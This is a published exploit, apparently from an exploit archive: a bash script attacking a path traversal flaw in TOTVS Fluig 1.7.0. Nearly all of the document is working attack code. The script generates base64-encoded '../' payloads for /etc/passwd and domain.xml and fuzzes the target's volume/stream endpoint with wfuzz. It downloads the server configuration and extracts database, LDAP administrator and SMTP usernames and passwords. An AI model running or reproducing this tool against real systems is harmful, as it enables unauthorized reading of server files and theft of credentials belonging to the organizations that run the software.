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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Fluig 1.7.0 - Path Traversal 

# Exploit Title: Fluig 1.7.0 - Path Traversal
# Date: 26/11/2020
# Exploit Author: Lucas Souza
# Vendor Homepage: https://www.totvs.com/fluig/
# Version: <== 1.7.0-210217
# Tested on: 1.7.0-201124

#!/bin/bash
url="$1"
npayload=$2
> payload.txt
curl -s https://raw.githubusercontent.com/lucxssouza/banners/main/xFluig/banner > banner
# -- FUNCTIONS --

function create-payload {
    > wordlist.txt
    count=1
    while [[ $count -le $npayload ]]; do
                                                                        # WINDOWS PAYLOAD
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../users/public/desktop/desktop.ini" >> wordlist.txt
                                                                        # LINUX PAYLOAD
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../etc/passwd" >> wordlist.txt
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../opt/fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt
        count=$[$count + 1]
    done
}

function manual-mode {
    while :; do
        echo
        echo -e "\033[0;31m[!] VALID MANUAL MODE COMMANDS\033[0m"
        echo
        echo -e "\033[0;32m   -[ clear          -     Clear Screen\033[0m"
        echo -e "\033[0;32m   -[ target         -     Set a target\033[0m"
        echo -e "\033[0;32m   -[ director/file  -     Ex: /etc/passwd\033[0m"
        echo -e "\033[0;32m   -[ info           -     Target info and parse 'domain.xml' file ( require target )\033[0m"
        echo
        echo -n -e "\033[0;31mMANUAL MODE >>\033[0m "; read -r input2
        path=$(echo $input2 | sed 's/\\/\//g' | tr '[:upper:]' '[:lower:]')
        mkfile=$(echo $path | sed 's/\//-/g' | sed 's/-//' | tr '[:upper:]' '[:lower:]')
        if [[ $path == 'info' ]]; then
            clear
            cat banner
            domain-xml
        elif [[ $path == 'clear' ]]; then
            clear
        elif [[ $path == 'target' ]]; then
            XmlPayload=''
            echo
            echo -n -e "\033[0;31mINSERT TARGET >> \033[0m"; read url
            echo -n -e "\033[0;31mWORDLIST SIZE >> \033[0m"; read -i npayload
            enum
       else
           echo
           echo "$param../../../../../../../../../../../../..$path" > wordlist.txt
           wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f2 | grep 200 | cut -d'"' -f2 > payload.txt
           DirPath=$(head -1 payload.txt)
       if [[ $DirPath  == '' ]]; then
           echo
           echo -e '            \033[0;33m[!] COMMAND OR DIRECTORY/FILE NOT FOUND - TYPE HELP\033[0m'
       else
           curl -s $url/volume/stream/Rmx1aWc=/$DirPath > report/$mdr/$mkfile
           echo
           echo -e '\033[0;31m'$path'\033[0m'
           echo
           cat report/$mdr/$mkfile
           echo
           pwd=$(pwd)
           echo
           echo -e '\033[0;33m'[!] FILE SAVE IN, $pwd/report/$mdr/$mkfile'\033[0m'
      fi
      fi
    done
}

function domain-xml {
    domain=$(ls report/$mdr | grep domain.xml)
if [[ $domain == '' ]]; then
    echo
    echo -e '\033[0;33m[!] DOMAIN.XML FILE NOT FOUND\033[0m'
else
    echo
    echo -e '     \033[0;32m | TOTVS FLUIG - [+] XML ANALISYS\033[0m'
    echo
    echo -e '            \033[0;33m[!] INFORMATION\033[0m'
    echo
    curl -s -I $url | grep Server
    echo
    echo -e '\033[0;31mTarget\033[0m'
    echo $url
    echo
    echo -e '\033[0;31mPayload plaintext\033[0m'
    echo $XmlPayload | base64 -d
    echo
    echo
    echo -e '\033[0;31mPayload base64 encoded\033[0m'
    echo $XmlPayload
    echo
    echo -e '            \033[0;31m[!] DATABASE CONNECTIONS FOUNDS\033[0m'
    echo
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep connection-url | sed 's/<connection-url>/\o033[0;31mDB CONNECT >> \o033[0m/g' | sed 's/<\/connection-url>/ \o033[0;31m<< \o033[0m/g' | sed 's/${env.FLUIG_DATABASE_URL://g' | sed 's/}//g'
    echo
    echo -e '            \033[0;31m[!] USERS/PASSWORDS FOUNDS\033[0m'
    echo
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep user-name | sed 's/<user-name>/ \o033[0;31mUSER >> \o033[0m/g' | sed 's/<\/user-name>/ \o033[0;31m<< \o033[0m /g' | sed 's/${env.FLUIG_DATABASE_USER://g' | sed 's/}//g' 
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep password'>' | sed 's/<password>/\o033[0;31m PASSWORD >> \o033[0m/g' | sed 's/<\/password>/ \o033[0;31m<< \o033[0m/g' | sed 's/${env.FLUIG_DATABASE_PASSWORD://g' | sed 's/}//g'
    echo
    echo -e '            \033[0;31m[!] LDAP INTEGRATIONS\033[0m'
    echo 
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep ldap:// | sed 's/<module-optionname="java.naming.provider.url"value="/\o033[0;31mDOMAIN SERVER >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep baseCtxDN | sed 's/<module-optionname="baseCtxDN"value="/\o033[0;31mDISTINGUISHED NAME >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep security.principal | sed 's/<module-optionname="java.naming.security.principal"value="/\o033[0;31mUSER ADMIN >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep security.credentials | sed 's/<module-optionname="java.naming.security.credentials"value="/\o033[0;31mPASSWORD >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    echo
    echo -e '            \033[0;31m[!] SMTP SETTINGS\033[0m'
    echo
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep remote-destination | sed 's/<remote-destinationhost="/\o033[0;31mSMTP ADDRESS >> \o033[0m/g' | sed 's/\/>/ \o033[0;31m<< \o033[0m /g' | sed 's/${env.FLUIG_SMTP_HOST://g' | sed 's/${env.FLUIG_HOST_ADDRESS://g' | sed 's/${env.FLUIG_SMTP_PORT//g'| sed 's/}//g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep smtp-server | sed 's/<smtp-serveroutbound-socket-binding-ref="mail-smtp"//g' | sed 's/\/>//g' | sed 's/password="/\o033[0;31mPASSWORD >> \o033[0m/g' | sed 's/"username="/\o033[0;31m USER >> \o033[0m/g' | sed 's/}//g' | sed 's/${env.FLUIG_SMTP_USERNAME://g' | sed 's/${env.FLUIG_SMTP_PASSWORD://g'
    echo
    manual-mode
fi
}

function enum {
mdr=$(echo $url | sed 's/https:\/\///' | sed 's/http:\/\///' | sed 's/\///')
mkdir -p report/$mdr
    if [[ $url == '' ]]; then
        clear
        cat banner
        echo -e '   \033[0;31m-[  Usage Ex1: ./xfluig.sh FLUIG_ADDRESS REQUESTS_WFUZZ\033[0m'
        echo -e '   \033[0;31m-[        Ex2: ./xfluig.sh FLUIG_ADDRESS:PORT REQUESTS_WFUZZ\033[0m'
        echo -e '   \033[0;31m-[           ( ./xfluig.sh fluig.host.com:8080 1000 )\033[0m'
        manual-mode
    elif [[ $npayload == '' ]]; then
        npayload=25
        clear
        cat banner
        echo -e ' \033[0;32m | TOTVS FLUIG - [+] PATH ENUMERATION\033[0m'
        echo
        echo -e '\033[0;31m[>>] GENERATING PAYLOAD WORDLIST\033[0m'
        echo
        create-payload
    else
        clear
        cat banner
        echo -e '     \033[0;32m | TOTVS FLUIG - [+] PATH ENUMERATION\033[0m'
        echo
        echo -e '\033[0;31m[>>] GENERATING PAYLOAD WORDLIST\033[0m'
        create-payload
    fi
echo
echo -e '\033[0;31m[>>] RUNNING WFUZZ - WAIT\033[0m'
echo
wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f3 | grep 200 | cut -d'"' -f2 > payload.txt
payload=$(head -1 payload.txt)
if [[ $payload == '' ]]; then
    clear
    cat banner
    echo -e '  \033[0;32m | TOTVS FLUIG -  PATH ENUMERATION AND XML ANALISYS \033[0m'
    echo
    echo -e '\033[0;33m[!] DIRECTORY/FILE NOT FOUND OR TARGET NOT VULNERABLE\033[0m'
    echo
    manual-mode
else
    param=$(echo $payload | base64 -d |  cut -d '.' -f1)
    clear
    cat banner
    echo -e '     \033[0;32m | TOTVS FLUIG - [+] STATUS\033[0m'
    echo
    echo -e '            \033[0;33m[!] VULNERABLE\033[0m'
    echo
    echo -e '\033[0;31m[>>] SEARCHING DOMAIN.XML FILE\033[0m'
    echo "$param../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml" > wordlist.txt
    echo "$param../../../../../../../../../../../../../opt/fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt
    wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f3 | grep 200 | cut -d'"' -f2 > payload.txt
    clear
    cat banner
    echo -e '     \033[0;32m | TOTVS FLUIG - [+] STATUS\033[0m'
    echo
    echo -e '            \033[0;33m[!] VULNERABLE\033[0m'
    echo
    curl -s -I $url | grep Server
    echo
    echo -e '\033[0;31mTarget\033[0m'
    echo $url
    echo
    echo -e '\033[0;31mPayload plaintext\033[0m'
    echo $payload | base64 -d
    echo
    echo
    echo -e '\033[0;31mPayload base64 encoded\033[0m'
    echo $payload
    echo
fi
XmlPayload=$(head -1 payload.txt)
if [[ $XmlPayload == '' ]]; then
    echo
    echo -e '\033[0;33m[!] DOMAIN.XML FILE NOT FOUND\033[0m'
    manual-mode
else
    curl -s $url/volume/stream/Rmx1aWc=/$XmlPayload | sed 's/[[:blank:]]//g' > report/$mdr/domain.xml
    echo
    echo -e '\033[0;33m[!] DOMAIN.XML FILE FOUND - TYPE "INFO" TO PARSE\033[0m'
    manual-mode
fi
}
enum